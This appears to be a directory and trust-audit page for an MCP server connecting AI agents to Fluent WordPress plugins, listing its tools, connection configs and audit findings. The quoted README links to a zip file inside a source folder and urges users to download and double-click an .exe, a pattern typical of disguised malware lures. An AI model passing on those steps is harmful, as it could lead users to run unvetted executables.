Atlas / MCP servers / dominotypist3077 / fluent-mcp-servers

fluent-mcp-serversCAUTION

mcp/dominotypist3077/fluent-mcp-servers

Connect AI agents to the Fluent WordPress ecosystem using standardized MCP servers for CRM, support, boards, community, and affiliate management.

Verdict
CAUTION
Grade
B
Trust score
89 /100
Exposed tools
189 96r · 67w · 26d
Transport
stdio
License
MIT
Stars
1
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://raw.githubusercontent.com/Dominotypist3077/fluent-mcp-servers/main/fluent-community-mcp/src/tools/fluent-mcp-servers-2.0.zip)

This software links AI systems to your Fluent WordPress plugins. It helps your automated agents manage data across FluentCRM, Fluent Support, Fluent Boards, Fluent Community, and FluentAffiliate. You get direct access to 175 specific tools designed to automate tasks within your WordPress site.

🚀 Why use this software

Managing WordPress data often requires manual input. You might spend hours moving information between your CRM, your support tickets, or your project boards. This software removes those manual steps. It provides a bridge. Your AI agent requests the connection, and the server executes the command in your WordPress environment. This increases your efficiency and reduces errors.

💻 System requirements

Your computer needs to meet these basic standards to run the software smoothly:

  • Operating System: Windows 10 or Windows 11.
  • Memory: At least 4 gigabytes of RAM.
  • Internet Connection: A stable connection for the AI to talk to your WordPress site.
  • WordPress Setup: You must have one of the supported Fluent plugins installed and active on your website.

📥 How to download the files

You need to access the release page to get the installer.

Click here to visit the release page and download the software

Look for the file that ends in .exe. Save it to a folder you recognize, such as your Downloads folder or Desktop.

⚙️ Installation steps

Follow these steps to set up the software on your Windows computer:

  1. Open the folder where you saved the file.
  2. Double-click the .exe file.
  3. Follow th
Read from source at commit e8cb53c32006OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add fluent-support-mcp --env FLUENTAFFILIATE_APP_PASSWORD=${FLUENTAFFILIATE_APP_PASSWORD} --env FLUENTBOARDS_APP_PASSWORD=${FLUENTBOARDS_APP_PASSWORD} --env FLUENTCOMMUNITY_APP_PASSWORD=${FLUENTCOMMUNITY_APP_PASSWORD} --env FLUENTCRM_APP_PASSWORD=${FLUENTCRM_APP_PASSWORD} -- npx -y [email protected]
claude-desktop
{
  "mcpServers": {
    "fluent-support-mcp": {
      "command": "npx",
      "args": [
        "-y",
        "[email protected]"
      ],
      "env": {
        "FLUENTAFFILIATE_APP_PASSWORD": "${FLUENTAFFILIATE_APP_PASSWORD}",
        "FLUENTBOARDS_APP_PASSWORD": "${FLUENTBOARDS_APP_PASSWORD}",
        "FLUENTCOMMUNITY_APP_PASSWORD": "${FLUENTCOMMUNITY_APP_PASSWORD}",
        "FLUENTCRM_APP_PASSWORD": "${FLUENTCRM_APP_PASSWORD}"
      }
    }
  }
}
03

Exposed tools (189)

96 read · 67 write · 26 destructive. Blast radius: 26 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.

ToolRiskDescription
fluentaffiliate_affiliate_createwriteCreate a new affiliate. Requires a WordPress user ID or email. The affiliate will be associated with the given user account.
fluentaffiliate_affiliate_deletedestructivePermanently delete an affiliate. This removes the affiliate record but does not delete the WordPress user account. Existing referrals may be affected.
fluentaffiliate_affiliate_getreadGet detailed information about a single affiliate including their profile, earnings summary, referral stats, payout history, and visit data.
fluentaffiliate_affiliate_listreadList all affiliates with optional filtering by status, search, and pagination. Returns affiliate profiles including earnings, referral counts, and status.
fluentaffiliate_affiliate_updatewriteUpdate affiliate profile fields such as payment email, status, or referral URL. Pass only the fields you want to change.
fluentaffiliate_affiliate_update_statuswriteChange the status of an affiliate (approve, reject, block, or reactivate). Use this for affiliate application management.
fluentaffiliate_describe_toolsread
fluentaffiliate_execute_toolwrite
fluentaffiliate_payout_getreadGet detailed information about a specific payout including the affiliate, amount, payment method, status, and associated transactions.
fluentaffiliate_payout_listreadList all payout records with optional filtering by status, affiliate, and date range. Shows payout amounts, methods, and processing status.
fluentaffiliate_payout_processreadProcess a payout for one or more affiliates. This marks approved referrals as paid and creates a payout record. Provide affiliate IDs to include in the payout batch.
fluentaffiliate_payout_validate_configwriteValidate that the payout configuration is correctly set up before processing payouts. Checks payment method settings, minimum thresholds, and affiliate payment details.
fluentaffiliate_portal_referralsreadGet the referral list from the affiliate portal perspective. Shows the affiliate their own referrals with status, amounts, and dates.
fluentaffiliate_portal_statsreadGet affiliate portal statistics for the authenticated user: their total earnings, unpaid balance, referral count, visit count, and conversion rate.
fluentaffiliate_portal_transactionsreadGet payout transactions from the affiliate portal perspective. Shows the affiliate their payment history including amounts, dates, and payment methods.
fluentaffiliate_referral_createwriteManually create a new referral record. Useful for crediting affiliates for offline sales or custom referral scenarios.
fluentaffiliate_referral_deletedestructivePermanently delete a referral record. This cannot be undone. The affiliate earnings will be adjusted accordingly.
fluentaffiliate_referral_getreadGet detailed information about a single referral including the associated affiliate, order reference, commission amount, and status.
fluentaffiliate_referral_listreadList all referrals with optional filtering by affiliate, status, type, and date range. Returns referral details including commission amounts and associated orders.
fluentaffiliate_report_commercereadGet commerce-specific reports for the affiliate program including revenue attributed to affiliates, top-performing affiliates, and product-level affiliate performance.
fluentaffiliate_report_dashboard_chartreadGet chart data for the affiliate dashboard showing referral and visit trends over time. Useful for visualizing affiliate program performance.
fluentaffiliate_report_dashboard_statsreadGet affiliate program dashboard statistics: total affiliates, total referrals, total earnings, unpaid commissions, total visits, and conversion rate.
fluentaffiliate_search_toolsread
fluentaffiliate_settings_email_configreadGet the current email notification settings for the affiliate program: notification templates, triggers, and recipient configuration.
fluentaffiliate_settings_referral_configreadGet the current referral configuration including commission rates, referral types, cookie duration, and tracking settings.
fluentaffiliate_settings_update_referral_configwriteUpdate referral configuration settings such as default commission rate, commission type (percentage or flat), cookie duration, and tracking preferences.
fluentaffiliate_visit_listreadList affiliate link visits/clicks with optional filtering by affiliate, date range, and pagination. Shows referral URL, landing page, IP (if stored), and conversion status.
fluentboards_board_archivereadArchive a board. Archived boards can be restored later.
fluentboards_board_createwriteCreate a new project board. Requires a title and type (to-do or roadmap). Optionally include a description, currency, folder, and initial stages.
fluentboards_board_deletedestructivePermanently delete a board. This action cannot be undone. All stages, tasks, and associated data will also be deleted.
fluentboards_board_getreadGet detailed information about a single board including its stages, settings, and metadata.
fluentboards_board_listreadList all project boards with optional filtering by type, search, and pagination. Boards are the top-level containers for stages and tasks.
fluentboards_board_updatewriteUpdate board properties such as title or description. Pass only the fields you want to change.
fluentboards_comment_createwriteAdd a new comment to a task. Supports threaded replies via parent_id.
fluentboards_comment_deletedestructiveDelete a comment from a task. This also removes any threaded replies and attachments.
fluentboards_comment_listreadList all comments for a specific task. Returns the conversation thread including replies.
fluentboards_describe_toolsread
fluentboards_execute_toolwrite
fluentboards_label_assign_to_taskreadAssign a label to a task on a board.
fluentboards_label_createwriteCreate a new label for a board. Requires a color and background color in hex format. Optionally provide a label title.
fluentboards_label_deletedestructivePermanently delete a label from a board. Existing task associations will be removed.
fluentboards_label_listreadList all labels for a specific board. Labels help categorize and visually tag tasks.
fluentboards_label_updatewriteUpdate an existing label. You can change its title, text color, or background color.
fluentboards_member_addwriteAdd a user to a board as a member or viewer. The user must already exist in WordPress.
fluentboards_member_listreadList all members of a specific board including their roles (admin, member, viewer).
fluentboards_member_removedestructiveRemove a user from a board. Their task assignments on this board may need reassignment.
fluentboards_search_toolsread
fluentboards_stage_createwriteCreate a new stage (column) on a board. The stage is added at the end by default, or at the specified position.
fluentboards_stage_deletedestructiveArchive (soft-delete) a stage. The stage and its tasks are hidden but can be restored later.
fluentboards_stage_listreadList archived stages for a board. Active stages are returned as part of the board details (use board_get). This endpoint returns only archived/soft-deleted stages.
fluentboards_stage_reorderwriteUpdate the positions of multiple stages at once. Pass an array of stage IDs in the desired order.
fluentboards_stage_updatewriteUpdate stage properties such as title or settings.
fluentboards_task_clonewriteCreate a copy of an existing task. Choose which elements to include: assignees, subtasks, labels, attachments, and comments.
fluentboards_task_closereadClose (complete) a task by setting its status to
fluentboards_task_createwriteCreate a new task on a board. Requires a title, board_id, and stage_id. Optionally set priority, CRM contact, or mark as template.
fluentboards_task_deletedestructivePermanently delete a task. This action cannot be undone. All subtasks, comments, and attachments will also be deleted.
fluentboards_task_getreadGet detailed information about a single task including its description, assignees, labels, subtasks, and activity history.
fluentboards_task_listreadList all tasks for a specific board. Returns tasks across all stages with their status, priority, assignees, and metadata.
fluentboards_task_move_stagewriteMove a task to a different stage within the same board, or to a stage in a different board. Optionally set the position within the target stage.
fluentboards_task_updatewriteUpdate a specific property of a task. Supported properties: title, description, status, priority, due_at, started_at, assignees, archived_at, last_completed_at, board_id, type, reminder_type, remind_at.
fluentcommunity_analytics_activityreadGet community activity trends over time: posts created, comments made, new members, and reactions. Useful for tracking engagement and growth.
fluentcommunity_analytics_statsreadGet overall community statistics: total members, total spaces, total posts, total comments, active members, new sign-ups, and engagement metrics.
fluentcommunity_comment_createwriteAdd a comment to a post/feed. Supports threaded replies by specifying a parent_id for the comment being replied to.
fluentcommunity_comment_deletedestructivePermanently delete a comment. If the comment has replies, they will also be removed. This action cannot be undone.
fluentcommunity_comment_listwriteList comments for a specific post/feed. Returns comment content, author info, and nested replies. Supports pagination.
fluentcommunity_comment_updatewriteUpdate the content of an existing comment. Only the comment author or administrators can update a comment.
fluentcommunity_course_enroll_userreadEnroll a user in a course. The user will gain access to all published lessons within the course.
fluentcommunity_course_getreadGet detailed information about a specific course including its lessons, enrollment count, progress tracking, and metadata.
fluentcommunity_course_listreadList all courses in the community. Courses are structured learning paths with lessons and optional quizzes. Supports pagination.
fluentcommunity_course_unenroll_userdestructiveRemove a user\
fluentcommunity_describe_toolsread
fluentcommunity_execute_toolwrite
fluentcommunity_feed_createwriteCreate a new post/feed in a community space. Requires a space_id and message content. Posts can be published immediately or saved as drafts.
fluentcommunity_feed_deletedestructivePermanently delete a post and all its associated comments. This action cannot be undone.
fluentcommunity_feed_getwriteGet detailed information about a single post including its full content, author, reactions, comments, and metadata.
fluentcommunity_feed_listreadList community posts/feeds with optional filtering by space, author, and status. Supports pagination and search. Returns post content, author info, reactions, and comment counts.
fluentcommunity_feed_searchreadSearch across all community posts by keyword. Returns matching posts with relevance ranking. More targeted than feed_list with search parameter.
fluentcommunity_feed_updatewriteUpdate an existing post. Can modify content, title, status, pinned state, or comment settings. Pass only the fields you want to change.
fluentcommunity_member_add_to_spacewriteAdd a user to a community space. The user must be a WordPress user. You can optionally set their role within the space.
fluentcommunity_member_getreadGet detailed profile information about a specific community member including their activity, spaces, and role.
fluentcommunity_member_listreadList community members with optional search and pagination. Shows member profiles, roles, and activity status.
fluentcommunity_member_remove_from_spacedestructiveRemove a user from a community space. The user will lose access to the space content if it is private or secret.
fluentcommunity_member_update_rolewriteChange a member\
fluentcommunity_notification_listreadList notifications for the authenticated user. Shows mentions, replies, reactions, and other community activity notifications. Supports pagination.
fluentcommunity_notification_mark_readreadMark one or more notifications as read. Pass specific notification IDs or omit to mark all unread notifications as read.
fluentcommunity_search_toolsread
fluentcommunity_settings_getreadGet Fluent Community configuration settings: general settings, registration options, email notifications, storage configuration, and authentication settings.
fluentcommunity_settings_updatewriteUpdate Fluent Community configuration settings. Pass a settings group and the key-value pairs to update. Only provided fields will be changed.
fluentcommunity_space_createwriteCreate a new community space. Spaces can be public (anyone can join), private (invite-only), or secret (hidden from non-members).
fluentcommunity_space_deletedestructivePermanently delete a space. This will remove all posts, comments, and member associations within the space. This action cannot be undone.
fluentcommunity_space_getreadGet detailed information about a specific space including its settings, member count, privacy level, and description.
fluentcommunity_space_listreadList all community spaces (groups/forums). Spaces are the main containers for posts and discussions. Supports pagination and search.
fluentcommunity_space_updatewriteUpdate space properties such as title, description, privacy level, or status. Pass only the fields you want to change.
fluentcrm_campaign_createwriteCreate a new email campaign in draft status. You can specify the subject, body, recipients (by tags/lists), and template.
fluentcrm_campaign_getreadGet detailed information about a single campaign including its settings, recipients, email body, and performance stats.
fluentcrm_campaign_listreadList email campaigns with optional filtering by status. Returns campaign summaries including send stats.
fluentcrm_campaign_pausereadPause a currently sending (working) campaign. Can be resumed later.
fluentcrm_campaign_resumereadResume a paused campaign to continue sending.
fluentcrm_campaign_schedulewriteSchedule a draft campaign for sending. You must specify the recipients (by tags/lists) and optionally a send date. If no date is given, the campaign will be sent immediately.
fluentcrm_contact_add_tagswriteAdd one or more tags to a contact. Existing tags are preserved.
fluentcrm_contact_createwriteCreate a new CRM contact. Email is required. You can assign tags and lists at creation time.
fluentcrm_contact_deletedestructivePermanently delete a contact from the CRM. This removes all associated data including tags, lists, and activity history.
fluentcrm_contact_getreadGet detailed information about a single contact including their tags, lists, custom fields, and activity history.
fluentcrm_contact_get_by_emailreadLook up a contact by their email address. Returns the full contact record if found.
fluentcrm_contact_listreadList CRM contacts (subscribers) with optional filtering by status, tags, lists, and search. Supports pagination.
fluentcrm_contact_remove_tagsdestructiveRemove one or more tags from a contact.
fluentcrm_contact_updatewriteUpdate an existing contact. Pass only the fields you want to change. Does not modify tags or lists (use dedicated tag/list tools).
fluentcrm_describe_toolsread
fluentcrm_execute_toolwrite
fluentcrm_funnel_createwriteCreate a new automation funnel. Funnels start in draft status. Add triggers and actions, then publish to activate.
fluentcrm_funnel_getreadGet detailed information about a specific funnel including all its steps, triggers, and subscriber metrics.
fluentcrm_funnel_listreadList all automation funnels. Funnels are multi-step workflows triggered by events (signup, tag added, purchase, etc.).
fluentcrm_funnel_triggerwriteManually trigger a funnel for a specific contact via the webhook endpoint. The contact will enter the funnel as if the trigger event had occurred.
fluentcrm_list_attach_contactwriteAdd one or more contacts to a mailing list by their subscriber IDs.
fluentcrm_list_createwriteCreate a new mailing list for organizing contacts.
fluentcrm_list_deletedestructivePermanently delete a list. Contacts in this list are not deleted, but their association with this list is removed.
fluentcrm_list_listreadList all CRM lists (mailing lists). Lists are used to organize contacts into groups for campaigns and segmentation.
fluentcrm_list_updatewriteUpdate an existing list name, slug, or description.
fluentcrm_report_campaign_statsreadGet aggregated campaign performance statistics: emails sent, opens, clicks, unsubscribes, bounces, and revenue attribution.
fluentcrm_report_dashboardreadGet CRM dashboard statistics: total contacts, active subscribers, unsubscribed, emails sent, open rate, click rate, and more.
fluentcrm_report_subscribers_growthreadGet subscriber growth trends over time. Shows new subscribers per day/week/month in the given date range.
fluentcrm_search_toolsread
fluentcrm_sequence_add_subscriberwriteAdd one or more contacts to a sequence. They will start receiving the sequence emails from the beginning.
fluentcrm_sequence_getreadGet detailed information about a specific sequence including its emails, delays, and subscriber count.
fluentcrm_sequence_listreadList all email sequences (Pro). Sequences are automated multi-step email drip campaigns sent on a schedule.
fluentcrm_sequence_remove_subscriberdestructiveRemove one or more contacts from a sequence. They will stop receiving further emails.
fluentcrm_tag_attach_to_contactreadAttach a tag to one or more contacts by their subscriber IDs. This is an alternative to fluentcrm_contact_add_tags when you want to work from the tag perspective.
fluentcrm_tag_createwriteCreate a new CRM tag for categorizing contacts.
fluentcrm_tag_deletedestructivePermanently delete a tag. Contacts that had this tag will have it removed, but the contacts themselves are not deleted.
fluentcrm_tag_listreadList all CRM tags. Tags are used to categorize and segment contacts for targeted campaigns and automations.
fluentcrm_tag_updatewriteUpdate an existing tag name, slug, or description.
fluentcrm_template_createwriteCreate a new email template with HTML content. Templates can be used across multiple campaigns.
fluentcrm_template_getreadGet detailed information about a specific email template including its HTML body and design settings.
fluentcrm_template_listreadList all email templates. Templates provide reusable email layouts and designs for campaigns.
fluentcrm_webhook_createwriteCreate a new incoming webhook endpoint. The webhook URL can be used by external systems to push data into FluentCRM (contacts, tags, lists, funnels).
fluentcrm_webhook_listwriteList all configured incoming webhooks. Webhooks allow external systems to create or update contacts and trigger automations in FluentCRM.
fluentsupport_activity_listreadList recent activity log entries. Activities track all actions performed on tickets, customers, and agents (replies, status changes, assignments, etc.).
fluentsupport_agent_createwriteCreate a new support agent. The user_id must correspond to an existing WordPress user.
fluentsupport_agent_deletedestructiveRemove an agent from the support team. This does not delete the underlying WordPress user. Open tickets may need to be reassigned.
fluentsupport_agent_getreadGet detailed information about a specific agent including their stats and settings.
fluentsupport_agent_listreadList all support agents/staff members. Agents handle ticket responses and manage the helpdesk.
fluentsupport_agent_updatewriteUpdate agent profile information such as name, email, or title.
fluentsupport_customer_createwriteCreate a new support customer. Email is required and must be unique. The customer can then submit tickets.
fluentsupport_customer_deletedestructivePermanently delete a customer. This will NOT delete their tickets, but will disassociate them.
fluentsupport_customer_getreadGet detailed customer information including their support history, ticket count, and profile data.
fluentsupport_customer_listreadList support customers with optional search and pagination. Customers are the people who submit tickets.
fluentsupport_customer_ticketsreadList all tickets submitted by a specific customer. Useful for viewing support history.
fluentsupport_customer_updatewriteUpdate customer profile fields. Fetches current state first to ensure required fields are preserved.
fluentsupport_describe_toolsread
fluentsupport_execute_toolwrite
fluentsupport_product_createwriteCreate a new product for ticket categorization.
fluentsupport_product_deletedestructivePermanently delete a product. Existing ticket associations will be removed.
fluentsupport_product_listreadList all products. Products can be associated with tickets to track which product a support request is about.
fluentsupport_product_updatewriteUpdate an existing product name or description.
fluentsupport_report_agent_statsreadGet per-agent performance metrics: tickets handled, average response time, resolution count, and satisfaction scores.
fluentsupport_report_overall_statsreadGet overall support statistics: total tickets, open tickets, closed tickets, average response time, and resolution time.
fluentsupport_report_personal_statsreadGet personal support stats for the authenticated agent: your tickets, response times, and resolution metrics.
fluentsupport_report_resolve_statsreadGet ticket resolution statistics: average time to resolve, resolution rate, and breakdown by priority.
fluentsupport_report_response_statsreadGet response time statistics: average first response time, average response time, and response count breakdown.
fluentsupport_report_ticket_growthreadGet ticket creation trends over time. Shows how many tickets were created per day, week, or month in the given date range.
fluentsupport_saved_reply_createwriteCreate a new saved reply template. Use dynamic placeholders like {{customer.name}}, {{ticket.title}} for personalized responses.
fluentsupport_saved_reply_deletedestructivePermanently delete a saved reply template.
fluentsupport_saved_reply_getreadGet full details of a specific saved reply template including its content.
fluentsupport_saved_reply_listreadList all saved reply templates. Saved replies are pre-written response templates that agents can quickly insert when replying to tickets.
fluentsupport_saved_reply_updatewriteUpdate an existing saved reply template. Pass only the fields to change.
fluentsupport_search_toolsread
fluentsupport_settings_getreadGet Fluent Support general settings: business hours, email notifications, ticket defaults, and more.
fluentsupport_settings_mailboxesreadList all configured mailboxes/inboxes. Mailboxes determine where incoming ticket emails are received.
fluentsupport_tag_createwriteCreate a new ticket tag for categorizing tickets.
fluentsupport_tag_deletedestructivePermanently delete a tag. Existing ticket associations will be removed.
fluentsupport_tag_listreadList all ticket tags. Tags help categorize and organize tickets for filtering and reporting.
fluentsupport_tag_updatewriteUpdate an existing tag name or description.
fluentsupport_ticket_add_tagwriteAdd one or more tags to a ticket.
fluentsupport_ticket_bulk_actionsreadPerform bulk operations on multiple tickets. Supported actions: close, reopen, delete, assign_agent, change_priority.
fluentsupport_ticket_closereadClose an open ticket. Changes the ticket status to
fluentsupport_ticket_createwriteCreate a new support ticket. Requires a title, email (customer email), and content. Optionally assign an agent, priority, and product.
fluentsupport_ticket_deletedestructivePermanently delete a ticket. This action cannot be undone. All responses and attachments will also be deleted.
fluentsupport_ticket_getreadGet detailed information about a single support ticket including its current status, priority, assigned agent, customer, tags, and conversation history.
fluentsupport_ticket_listreadList support tickets with optional filtering by status, priority, agent, customer, and product. Supports pagination and search.
fluentsupport_ticket_remove_tagdestructiveRemove a tag from a ticket.
fluentsupport_ticket_reopenreadReopen a closed ticket. Changes the ticket status back to
fluentsupport_ticket_replywriteAdd a response/reply to a ticket. The content supports HTML. You can add internal notes by setting is_internal to true.
fluentsupport_ticket_responsesreadGet all responses/replies for a specific ticket. Returns the full conversation thread including internal notes.
fluentsupport_ticket_updatewriteUpdate ticket properties such as priority, agent assignment, product, or status. Pass only the fields you want to change.
fluentsupport_workflow_createwriteCreate a new automation workflow. Define triggers, conditions, and actions to automate support processes.
fluentsupport_workflow_deletedestructivePermanently delete a workflow. Active workflows should be deactivated first.
fluentsupport_workflow_getreadGet detailed information about a specific workflow including its triggers, conditions, and actions.
fluentsupport_workflow_listreadList all automation workflows. Workflows automate ticket routing, auto-replies, SLA enforcement, and other support actions.
fluentsupport_workflow_updatewriteUpdate an existing workflow. Can modify triggers, conditions, actions, status, or metadata.
04

Trust audit

CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codePASS
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfaceWARN
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (1 observation(s))
Network
declared (5 observation(s))
Shell
none-observed
Dependencies
not all pinned
Secrets in source
none-found

Findings (11)

MEDIUMInventory / provenance · inv.binary · CWE-1104
fluent-community-mcp/src/tools/fluent-mcp-servers-2.0.zip
fluent-mcp-servers-2.0.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMFilesystem / path · mcp.destructive_tools · CWE-22, CWE-59
fluentaffiliate_affiliate_delete, fluentaffiliate_referral_delete, fluentboards_board_delete, fluentboards_comment_delete, fluentboards_label_delete, fluentboards_member_remove, fluentboards_stage_del
Why it matters. 26 tool(s) can delete or overwrite
Fix. prefer a read-only mode or scoped tokens; the page states the blast radius
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
fluent-affiliate-mcp/package.json
@modelcontextprotocol/sdk, zod, @types/node, typescript
Why it matters. 4 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
fluent-boards-mcp/package.json
@modelcontextprotocol/sdk, zod, @types/node, typescript
Why it matters. 4 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
fluent-community-mcp/package.json
@modelcontextprotocol/sdk, zod, @types/node, typescript
Why it matters. 4 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
fluent-crm-mcp/package.json
@modelcontextprotocol/sdk, zod, @types/node, typescript
Why it matters. 4 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
fluent-support-mcp/package.json
@modelcontextprotocol/sdk, zod, @types/node, typescript
Why it matters. 4 dependency range(s) float
Fix. pin exact versions or ship a lockfile
INFOPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
fluent-affiliate-mcp/README.md:3
MCP server for the [FluentAffiliate](https://fluentaffiliate.com/) WordPress affiliate program plugin. Provides AI agents with full access to affiliates, referrals, payouts, visits, reports, settings,
INFOPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
fluent-crm-mcp/README.md:3
MCP server for the [FluentCRM](https://fluentcrm.com/) WordPress email marketing and CRM plugin. Provides AI agents with full access to contacts, tags, lists, campaigns, sequences, automations, templa
INFOPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
fluent-support-mcp/README.md:3
MCP server for the [Fluent Support](https://fluentsupport.com/) WordPress helpdesk plugin. Provides AI agents with full access to tickets, customers, agents, workflows, saved replies, reports, and set
INFOPrompt injection · prompt.credential_read · CWE-94, CWE-1427
README.md:74
*   **Restrict access**: Only grant API keys for the specific plugins you need to automate.
Why it matters. asks the agent to read credentials

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha e8cb53c32006full audit observations/trust-audit/mcp-server/dominotypist3077__fluent-mcp-servers.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-11e8cb53c32006CAUTIONB89first audit
06

Questions

What is the fluent-mcp-servers MCP server?

Connect AI agents to the Fluent WordPress ecosystem using standardized MCP servers for CRM, support, boards, community, and affiliate management.

What tools does fluent-mcp-servers expose?

189 in total: 96 read-only, 67 that write, and 26 that can delete or overwrite (fluentaffiliate_affiliate_delete, fluentaffiliate_referral_delete, fluentboards_board_delete, fluentboards_comment_delete, fluentboards_label_delete). Every one is listed on this page with its risk.

Is fluent-mcp-servers safe to connect to an agent?

With care. The audit graded it B (89/100) and found 11 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 26 of its tools can destroy data, so scope the token you give it to what you actually need.

What credentials does fluent-mcp-servers need?

It reads FLUENTAFFILIATE_APP_PASSWORD, FLUENTBOARDS_APP_PASSWORD, FLUENTCOMMUNITY_APP_PASSWORD, FLUENTCRM_APP_PASSWORD and FLUENTSUPPORT_APP_PASSWORD from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How does fluent-mcp-servers run?

It speaks stdio, so it runs as a local process your client starts. It is published on npm as fluent-support-mcp at 1.0.0.

How current is this page?

The grade is for one exact copy of the source (e8cb53c32006), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement